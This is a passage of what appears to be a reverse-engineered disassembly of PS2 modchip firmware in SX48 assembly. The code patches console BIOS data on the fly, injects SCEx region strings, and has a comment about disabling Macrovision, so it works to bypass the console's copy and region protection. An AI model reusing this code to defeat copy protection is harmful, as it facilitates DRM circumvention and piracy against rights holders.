1nick9/PS2-Magic-ICE-FINAL-REVERSE	99,545	sx48WIP/final-48.hex-workingon-initialdisassemble.s	;****************************************************************************** ; final-48.sxh hash 51AAB2EC46914FF321B660222574430C ;**************************************************************************** device SX48,TURBO,BOROFF,OSCHS2,OPTIONX,WDRT006 ID 'ICEREV' ;; double ; for needs attension for mistakes or areas to change to function alike h2o or just general check here marker ;DEFINE ;RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. else is compiled as f=tr 4E9527CD0A691C619093BA1D41CBCE60 ;;ignore these defines below for now, not implemented yet ;USE ONLY IF F=TR commented out RSTBUMP ;pal v14 dont define any. for jap/usa define only one for 75k this will make f=tr work correctly also h=rw usa/pal f=tr 75k pal d8d6a5acf3e30901b45b75b001ff457c ;USAv14 = 1 ;uncomment for fixed 75k being usa region. all prior still work any region f=tr 75k usa 809aa1533abed9cbdf2ed612a6fc5627 ;JAPv14orv8 = 1 ;uncomment for fixed 75k being jap region. all prior still work any region f=tr 75k jap 7a35a0a6001a04ed71509a1c18b6544f ;also for v7 to use v9+ mechacon patch for v8 jap support f=tr ;NTSCPS1YFIX75K = 1 ;uncomment for 75k NTSC IMPORT YFIX PAL CONSOLE TESTED makes pal off screen but ntsc correct. off pal correct, ntsc crushed. ;NTSCPS1YFIX75K ON rstbump 891246cec7e63bc112c4005b700a7a22 f=tr 75k pal ec962491125e6e2196e215b6cb5222a1 ;only rstbump v8jap tested but rest should be right ;io pin assignments IO_SCEX = ra.2 ; (PSX:SCEx)RA2(S) IO_BIOS_OE = ra.0 ; (R) IO_BIOS_CS = rb.1 ; (W) ; LOW = BIOS select ; 1 = no access to rom , 0 = access to rom IO_REST = rb.2 ; ; 1 = normal , 0 = reset IO_EJECT = rb.3 ; (PS2:EJECT)RB3(Z) ; 1 = tray open , 0 = tray closed IO_CDDVD_OE_A_1Q = ra.1 ; (CDDVD:OE)RA1(A) (flipflop 1Q#) ;A from flip flop IO_CDDVD_OE_A_1R = ra.3 ; (CDDVD:OE)RA3(A) (flipflop 1R#) ;flip flop clr IO_CDDVD_BUS_i = rb.7 ; (I)(CDDVD:D7) IO_CDDVD_BUS_b = rb.4 ; (B)(CDDVD:D2) IO_CDDVD_BUS_f = rb.0 ; (F)(just used for usa v14 jmp or clash with f=tr on v14 usa) IO_CDDVD_BUS_h = rb.6 ; (H)(how determins is jap v14 if connected, assumption is no RW support at all on v14 RSTBUMP unless sync works out for when checked) IO_CDDVD_BUS = rb ; $06 IO_BIOS_DATA = rc ; $07 ; (V)RC0(BIOS:D0) - (M)RC7(BIOS:D7) ;regs VAR_DC1 = $0A VAR_DC2 = $0B VAR_DC3 = $0C VAR_DC4 = $0D VAR_PSX_TEMP = $10 VAR_PSX_BYTE = $11 VAR_PATCH_FLAGS = $0E VAR_SWITCH = $0F VAR_BIOS_REV = $12 VAR_BIOS_YR = $13 VAR_BIOS_REGION_TEMP = $14 VAR_PSX_BITC = $15 VAR_PSX_BC_CDDVD_TEMP = $16 ;------------------------------------------------------------ ;VAR_PATCH_FLAGS ;------------------------------------------------------------ EJ_FLAG = VAR_PATCH_FLAGS.0 ;bit 0 used by eject routine SOFT_RST = VAR_PATCH_FLAGS.1 ;soft reset flag for disk patch PSX_FLAG = VAR_PATCH_FLAGS.2 ;psx mode flag V10_FLAG = VAR_PATCH_FLAGS.3 ;bios 1.9 or 2.0 ;also v10 1.9 bios has own ps1 routine UK_FLAG = VAR_PATCH_FLAGS.4 USA_FLAG = VAR_PATCH_FLAGS.5 JAP_FLAG = VAR_PATCH_FLAGS.6 SCEX_FLAG = VAR_PATCH_FLAGS.7 ;set when SCEX_LOW loop for injecting. once cleared knows patching done to flow forward ;------------------------------------------------------------ ;VAR_SWITCH ;------------------------------------------------------------ V12_FLAG = VAR_SWITCH.0 ;v12 console 2.0 bios set V12LOGO_FLAG = VAR_SWITCH.1 ;PS1_MODE v12 2.0 bios console flag ? ;SECOND_BIOS_PATCH_END ref if was doing ps1 patching for 2.0 v12 as redirects flow there for different patch. X_FLAG = VAR_SWITCH.2 ;set when HOLD_BOOT_MODES only clrb when end ? ;can flow onto ps1 reboot into PS1_MODE if detect ps1 media ;;JAP_V8 = VAR_SWITCH.3 ;; DEV1_FLAG = VAR_SWITCH.4 ;;V14_FLAG = VAR_SWITCH.5 ;; ;set due to W for region of BIOS which decka models ;;V0_FLAG = VAR_SWITCH.6 ;; ;------------------------------------------------------------ ;CODE ;------------------------------------------------------------ ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 org $07FF ; Reset Vector reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;** Reset of the chip **************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mov w,#$1f mov m,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !ra,w mov w,#$1a mov m,w mov w,#$8 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w sleep ;INIT_CHIP STARTUP mov w,#$1d mov m,w mov w,#$f7 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w mov w,#$7 mov !ra,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;read power down register clr fsr mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov VAR_PSX_BITC,w mov w,#$1f mov m,w ;execute correct startup... snb pd jmp CLEAR_CONSOLE_INFO_PREFIND snb VAR_PSX_BITC.2 jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED snb VAR_PSX_BITC.1 page $0200 jmp POST_PATCH_4_MODE_START page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;power up from STBY CLEAR_CONSOLE_INFO_PREFIND clr VAR_PATCH_FLAGS clr VAR_SWITCH jmp BIOS_GET_SYNC ;-------------------------------------------------------------------------------- DELAY100m ;-------------------------------------------------------------------------------- mov w,#$64 mov VAR_DC1,w RTCC_SET_BIT mov w,#$3d mov rtcc,w RTCC_CHECK mov w,rtcc sb z jmp RTCC_CHECK decsz VAR_DC1 jmp RTCC_SET_BIT retp ;-------------------------------------------------------------------------------- SET_INTRPT ;-------------------------------------------------------------------------------- mov w,#$1a mov m,w mov w,#$6 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w retp ;-------------------------------------------------------------------------------- SCEX_HI ;-------------------------------------------------------------------------------- setb IO_SCEX mov w,#$3b mov VAR_DC3,w :loop1 mov w,#$d4 mov VAR_DC2,w not ra :loop2 mov w,#$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEX_LOW ;-------------------------------------------------------------------------------- clrb IO_SCEX mov w,#$3b mov VAR_DC3,w :loop1 mov w,#$d4 mov VAR_DC2,w snb IO_BIOS_CS jmp :loop2 setb SCEX_FLAG :loop2 mov w,#$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEx_DATA ;-------------------------------------------------------------------------------- jmp pc+w retw $53 retw $43 retw $45 retw $41 retw $53 retw $43 retw $45 retw $49 retw $53 retw $43 retw $45 retw $45 ;-------------------------------------------------------------------------------- SEND_SCEX ;-------------------------------------------------------------------------------- snb USA_FLAG jmp usa snb UK_FLAG jmp uk jmp jap usa clr VAR_DC4 jmp SCEx_IO_SET uk mov w,#$8 mov VAR_DC4,w jmp SCEx_IO_SET jap mov w,#$4 mov VAR_DC4,w SCEx_IO_SET mov w,#$1f mov m,w mov w,#$b mov !ra,w mov w,#$4 mov VAR_PSX_BC_CDDVD_TEMP,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$1f mov m,w mov w,#$f mov !ra,w ret ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P1 ;-------------------------------------------------------------------------------- NOTCALLED1 snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P1 ret BIOS_GET_SYNC snb IO_BIOS_OE jmp BIOS_GET_SYNC nop mov w,#$50 mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 mov w,#$53 mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 mov w,#$32 mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 mov w,#$30 mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 CAPTURE_BIOS_REV sb IO_BIOS_OE jmp CAPTURE_BIOS_REV call BIOS_WAIT_OE_LO_P1 mov w,IO_BIOS_DATA mov VAR_BIOS_REV,w CAPTURE_BIOS_REGION snb IO_BIOS_OE jmp CAPTURE_BIOS_REGION mov w,#$30 mov w,IO_BIOS_DATA-w sb z jmp CAPTURE_BIOS_REGION call BIOS_WAIT_OE_LO_P1 mov w,IO_BIOS_DATA mov VAR_BIOS_REGION_TEMP,w CHECK_BYTE_AB_REGION_CAPTURE_YR snb IO_BIOS_OE jmp CHECK_BYTE_AB_REGION_CAPTURE_YR mov w,#$30 mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 mov w,#$30 mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 mov w,IO_BIOS_DATA mov VAR_BIOS_YR,w mov w,#$41 mov w,VAR_BIOS_REGION_TEMP-w snb z jmp BIOS_USA mov w,#$45 mov w,VAR_BIOS_REGION_TEMP-w snb z jmp BIOS_UK mov w,#$52 mov w,VAR_BIOS_REGION_TEMP-w snb z jmp BIOS_UK mov w,#$49 mov w,VAR_BIOS_REGION_TEMP-w snb z jmp BIOS_JAP jmp BIOS_JAP BIOS_USA setb USA_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_UK setb UK_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_JAP setb JAP_FLAG RESTDOWN_CHK_PS2MODEorOTHER snb IO_REST jmp TAP_BOOT_MODE ;DVD movie : GREEN fix + MACROVISION off CHECK_IF_V9to14 setb PSX_FLAG mov w,#$37 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$39 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$32 mov VAR_DC1,w ;V1-8 kernels: sync 1E006334 then 2410 START_BIOS_PATCH_SYNC_V1toV8 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8 nop mov w,#$1e mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$63 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 START_BIOS_PATCH_SYNC_V1toV8_L1 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L1 nop mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 call BIOS_WAIT_OE_LO_P1 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 START_BIOS_PATCH_SYNC_V1toV8_L2 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L2 BIOS_V1toV8_PATCH1 snb IO_BIOS_OE jmp BIOS_V1toV8_PATCH1 decsz VAR_DC1 jmp START_BIOS_PATCH_SYNC_V1toV8_L2 mov w,#$0 mov IO_BIOS_DATA,w mov w,#$1f mov m,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w BIOS_V1toV8_IORESET_INPUT sb IO_BIOS_OE jmp BIOS_V1toV8_IORESET_INPUT mov w,#$ff mov !IO_BIOS_DATA,w jmp MODE_SELECT_START ; V9/V10/V12 kernels ;kernel_V910 ;Kstart_l0 START_BIOS_PATCH_SYNC_V9toV14 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14 nop mov w,#$dc mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L1 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L1 START_BIOS_PATCH_SYNC_V9toV14_L2 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L2 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L3 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L3 START_BIOS_PATCH_SYNC_V9toV14_L4 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L4 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L5 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L5 BIOS_V9toV14_PATCH1 snb IO_BIOS_OE jmp BIOS_V9toV14_PATCH1 mov w,#$45 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$0 mov IO_BIOS_DATA,w mov w,#$1f mov m,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$ff mov !IO_BIOS_DATA,w ;********************************************************************************************** ;New mode select for PSX/DEV mode : ;Check RESET for about 4 sec ( 2 =initial delay + 2 from this routine ) ;if exit before then enter PSX mode , else wait for reset release and wait again for ;10 sec. If RESET is pressed again within 10 sec. then enter DEV mode else ;definitively SLEEP chip for all media that no need patch ( VIDEO , MUSIC , ORIGINALS ). ;************************************************************************************************ ;TEST_RESET MODE_SELECT_START mov w,#$a mov VAR_DC2,w ;test_l1 MODE_SELECT_TIMER_L1 call DELAY100m snb IO_REST jmp HOLD_BOOT_MODES decsz VAR_DC2 jmp MODE_SELECT_TIMER_L1 MODE_SELECT_TIMER_L2 sb IO_REST jmp MODE_SELECT_TIMER_L2 mov w,#$5 mov VAR_DC2,w ;test_l2 MODE_SELECT_TIMER_L3 call DELAY100m decsz VAR_DC2 jmp MODE_SELECT_TIMER_L3 mov w,#$64 mov VAR_DC2,w ;test_l3 DISABLE_MODE call DELAY100m sb IO_REST page $0600 jmp DEV1_MODE_LOAD_START decsz VAR_DC2 jmp DISABLE_MODE sleep ;RESET0 TAP_BOOT_MODE clrb PSX_FLAG ;RESET_DOWN HOLD_BOOT_MODES clr fsr snb DEV1_FLAG page $0600 jmp DEV1_MODE_LOAD_START setb SOFT_RST clrb EJ_FLAG setb X_FLAG clrb V12LOGO_FLAG page $0200 jmp PS2_MODE_START ;--------------------------------------------------------------------- ;PS2 : continue patch after OSDSYS & wait for disk ready... ;--------------------------------------------------------------------- ;PS2_PATCH2 CHECK_IF_START_PS2LOGO clr fsr sb PSX_FLAG page $0a00 jmp START_PS2LOGO_PATCH_LOAD ;CDDVD_EJECTED TRAY_IS_EJECTED sb IO_REST jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED ;wait for bios cs inactive ( fix for 5 bit bus and cd boot ) ;DELAY1s RESUME_MODE_FROM_EJECT mov w,#$5 mov VAR_DC2,w ;ld_del0 RESUME_MODE_FROM_EJECT_L1 mov w,#$64 mov VAR_DC1,w ;ld_del RESUME_MODE_FROM_EJECT_L2 mov w,#$3a mov rtcc,w ;ld_del1 RESUME_MODE_FROM_EJECT_L3 sb IO_BIOS_CS jmp RESUME_MODE_FROM_EJECT sb IO_REST jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED mov w,rtcc sb z jmp RESUME_MODE_FROM_EJECT_L3 decsz VAR_DC1 jmp RESUME_MODE_FROM_EJECT_L2 decsz VAR_DC2 jmp RESUME_MODE_FROM_EJECT_L1 call SET_INTRPT clr fsr snb DEV1_FLAG page $0400 jmp START_CDDVD_PATCH mov w,#$2 mov VAR_DC4,w mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp CONSOLE_2002_JMP mov w,#$1 mov VAR_DC4,w ;MEPATCH CONSOLE_2002_JMP page $0400 jmp START_CDDVD_PATCH ;------------------------------------------------------------------------- ;NEW NEW NEW patch psx game... and some protected too ;------------------------------------------------------------------------- ;PSX_PATCH PS1_MODE_START_PATCH clr fsr clrb SCEX_FLAG mov w,#$ff mov VAR_PSX_TEMP,w ;psx_ptc_l0 RUN_PS1_SCEX_INJECT call SEND_SCEX snb SCEX_FLAG jmp PS1_SCEX_INJECT_COMPLETE decsz VAR_PSX_TEMP jmp RUN_PS1_SCEX_INJECT page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;DRVPTC PS1_SCEX_INJECT_COMPLETE snb EJ_FLAG jmp RUN_PS1_SCEX_INJECT mov w,#$2 mov VAR_DC4,w mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp PS1_IS_V14orV1toV12PALorNTSC mov w,#$1 mov VAR_DC4,w ;DRV PS1_IS_V14orV1toV12PALorNTSC snb USA_FLAG page $0800 jmp PS1_CONSOLE_ALL_JMPNTSC snb JAP_FLAG page $0800 jmp PS1_CONSOLE_ALL_JMPNTSC page $0800 jmp PS1_CONSOLE_PAL_YFIX org $0200 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P2 ;-------------------------------------------------------------------------------- NOTCALLED2 snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P2 ret ;--------------------------------------------------------- ; NEW BIOS PATCH ROUT ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- RUN_BIOS_PATCHES_SRAM ;-------------------------------------------------------------------------------- NOTCALLED3 mov w,indf mov IO_BIOS_DATA,w inc fsr RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP decsz VAR_DC2 jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE jmp END_BIOS_PATCHES_SRAM_RESET_IO mov w,#$ff mov !IO_BIOS_DATA,w clr fsr retp ;---------------------------------------------------------- ;Patch PS2 game... ;---------------------------------------------------------- ;-------------------------------------------------------------------------------- BIOS_PATCH_DATA ;-------------------------------------------------------------------------------- jmp pc+w ;V134 retw $23 ;0 retw $80 retw $ac retw $c retw $0 retw $0 retw $0 ;VX retw $24 ;7 Label_0039 retw $10 retw $3c retw $e4 retw $24 retw $80 retw $ac retw $e4 retw $22 retw $90 retw $ac retw $84 retw $bc mov w,#$3f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V9 retw $24 retw $10 retw $3c retw $74 retw $2a retw $80 retw $ac retw $74 retw $28 retw $90 retw $ac retw $bc retw $d3 mov w,#$3f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V10-12 retw $24 retw $10 retw $3c retw $e4 retw $2c retw $80 retw $ac retw $f4 retw $2a retw $90 retw $ac snb V12_FLAG jmp V12_CONSOLE_20_BIOS_JMP mov w,#$36 mov VAR_DC3,w retw $a4 retw $ec mov w,#$3f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;v12 V12_CONSOLE_20_BIOS_JMP mov w,#$3d mov VAR_DC3,w retw $c retw $f9 ;LOAD_END BIOS_PATCH_DATA_PART2_ALL retw $91 retw $34 retw $0 retw $0 retw $30 retw $ae retw $c retw $0 retw $0 retw $0 ;LOAD_PSX1D retw $c7 retw $2 retw $34 retw $19 retw $19 retw $e2 retw $ba retw $11 retw $19 retw $e2 retw $ba ;PS2_PATCH PS2_MODE_START ;load osdsys data patch for PS2 mode or ps1drv data patch for PSX mode sb PSX_FLAG jmp CHECK_IF_V1_v2or3_V4_V5to8 mov w,#$b mov VAR_DC1,w mov w,#$49 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_psx2 ;;todo v0 CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode data offset clr fsr mov w,#$31 mov w,VAR_BIOS_REV-w snb z jmp V1_CONSOLE_11_BIOS mov w,#$32 mov w,VAR_BIOS_REV-w snb z jmp V2or3_CONSOLE_12_BIOS mov w,#$35 mov w,VAR_BIOS_REV-w snb z jmp V4_CONSOLE_15_BIOS jmp CHECK_V9to14_REV ;:set_V1 V1_CONSOLE_11_BIOS mov w,#$c0 mov IO_BIOS_DATA,w mov w,#$b0 mov VAR_DC3,w mov w,#$74 mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V3 V2or3_CONSOLE_12_BIOS mov w,#$d8 mov IO_BIOS_DATA,w mov w,#$40 mov VAR_DC3,w mov w,#$7a mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V4 V4_CONSOLE_15_BIOS mov w,#$60 mov VAR_DC3,w mov w,#$7d mov VAR_DC4,w mov w,#$c mov IO_BIOS_DATA,w ;:set_P V1to8_CONTIUNE mov w,#$7 mov VAR_DC1,w mov VAR_DC2,w clr w jmp ALL_CONTIUNE_BIOS_PATCH ;:set_Vx CHECK_V9to14_REV mov w,#$2 mov IO_BIOS_DATA,w mov w,#$17 mov VAR_DC1,w mov VAR_DC2,w mov w,#$37 mov w,VAR_BIOS_REV-w snb z jmp V9_CONSOLE_17_BIOS mov w,#$39 mov w,VAR_BIOS_REV-w snb z jmp V9_CONSOLE_19_BIOS mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V12_CONSOLE_20_BIOS mov w,#$30 mov VAR_DC3,w mov w,#$7d mov VAR_DC4,w mov w,#$7 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V9 V9_CONSOLE_17_BIOS mov w,#$4 mov VAR_DC3,w mov w,#$94 mov VAR_DC4,w mov w,#$17 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V10 V9_CONSOLE_19_BIOS setb V10_FLAG mov w,#$64 mov VAR_DC3,w mov w,#$9e mov VAR_DC4,w mov w,#$27 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V12 V12_CONSOLE_20_BIOS setb V10_FLAG setb V12_FLAG mov w,#$f4 mov VAR_DC3,w mov w,#$9e mov VAR_DC4,w mov w,#$27 ;:loopxx ALL_CONTIUNE_BIOS_PATCH snb DEV1_FLAG jmp SECONDBIOS_PATCH_DEV1_STACK mov VAR_DC3,w mov w,#$20 mov fsr,w ;:loop LOAD_BIOS_PATCH_DATA mov w,VAR_DC3 call BIOS_PATCH_DATA mov indf,w inc fsr inc VAR_DC3 decsz VAR_DC1 jmp LOAD_BIOS_PATCH_DATA snb PSX_FLAG page $0000 jmp TRAY_IS_EJECTED ;:loop0 ; OSDSYS Wait for 60 00 04 08 ... fixed for V10 :) SECOND_BIOS_PATCH_SYNC snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC mov w,#$60 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP1 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP1 SECOND_BIOS_PATCH_SYNC_LOOP2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP3 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP3 SECOND_BIOS_PATCH_SYNC_LOOP4 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP4 mov w,#$4 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP5 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP5 SECOND_BIOS_PATCH_SYNC_LOOP6 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP6 mov w,#$8 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC mov w,#$20 mov fsr,w ;----------------------------------------------------------- ; Patch data for bios OSDSYS ;----------------------------------------------------------- ;:loop1 SECOND_BIOS_PATCH_SYNC_P2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P2 mov w,#$7 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P2 SECOND_BIOS_PATCH_SYNC_P3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P3 mov w,#$3 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 ;:loop66 SECOND_BIOS_PATCH_SYNC_P4 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4 SECOND_BIOS_PATCH_SYNC_P4_L1 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L1 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 SECOND_BIOS_PATCH_SYNC_P4_L2 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L2 mov !IO_BIOS_DATA,w SECOND_BIOS_PATCH_SYNC_P4_L3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L3 page $0200 call RUN_BIOS_PATCHES_SRAM snb DEV1_FLAG page $0600 jmp Label_0029 snb V12LOGO_FLAG page $0a00 jmp PS1_MODE_SUCESSFUL_END page $0000 jmp CHECK_IF_START_PS2LOGO ;SETUPDEV SECONDBIOS_PATCH_DEV1_STACK mov w,#$27 mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#$77 mov VAR_DC2,w page $0200 jmp SECOND_BIOS_PATCH_SYNC ;---------------------------------------------------------- ;XCDVDMAN routine ;---------------------------------------------------------- ;IS_XCDVDMANX POST_PATCH_4_MODE_START mov w,#$1a mov m,w mov w,#$6 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w ;IS_XCDVDMAN POST_PATCH_4_MODE_START2 snb DEV1_FLAG page $0600 jmp Label_0053 mov w,#$64 mov VAR_DC4,w ;IS_XCDVDMAN:loop4 POST_PATCH_4_MODE_START_L1 mov w,#$ff mov VAR_DC3,w ;IS_XCDVDMAN:loop3 POST_PATCH_4_MODE_START_L2 mov w,#$ff mov VAR_DC2,w ;IS_XCDVDMAN:loop2 POST_PATCH_4_MODE_START_L3 mov w,#$ff mov VAR_DC1,w ;IS_XCDVDMAN:loopx POST_PATCH_4_MODE_START_L4 sb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_P2 decsz VAR_DC1 jmp POST_PATCH_4_MODE_START_L4 decsz VAR_DC2 jmp POST_PATCH_4_MODE_START_L3 decsz VAR_DC3 jmp POST_PATCH_4_MODE_START_L2 decsz VAR_DC4 jmp POST_PATCH_4_MODE_START_L1 jmp PS2_MODE_RB_IO_SET_SLEEP ;IS_XCDVDMAN:loop0 POST_PATCH_4_MODE_START_L5 snb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_L4 ;IS_XCDVDMAN:loop1 POST_PATCH_4_MODE_START_P2 mov w,#$a2 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$93 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 ;XCDVDMAN clr fsr mov w,#$7 mov VAR_DC2,w mov 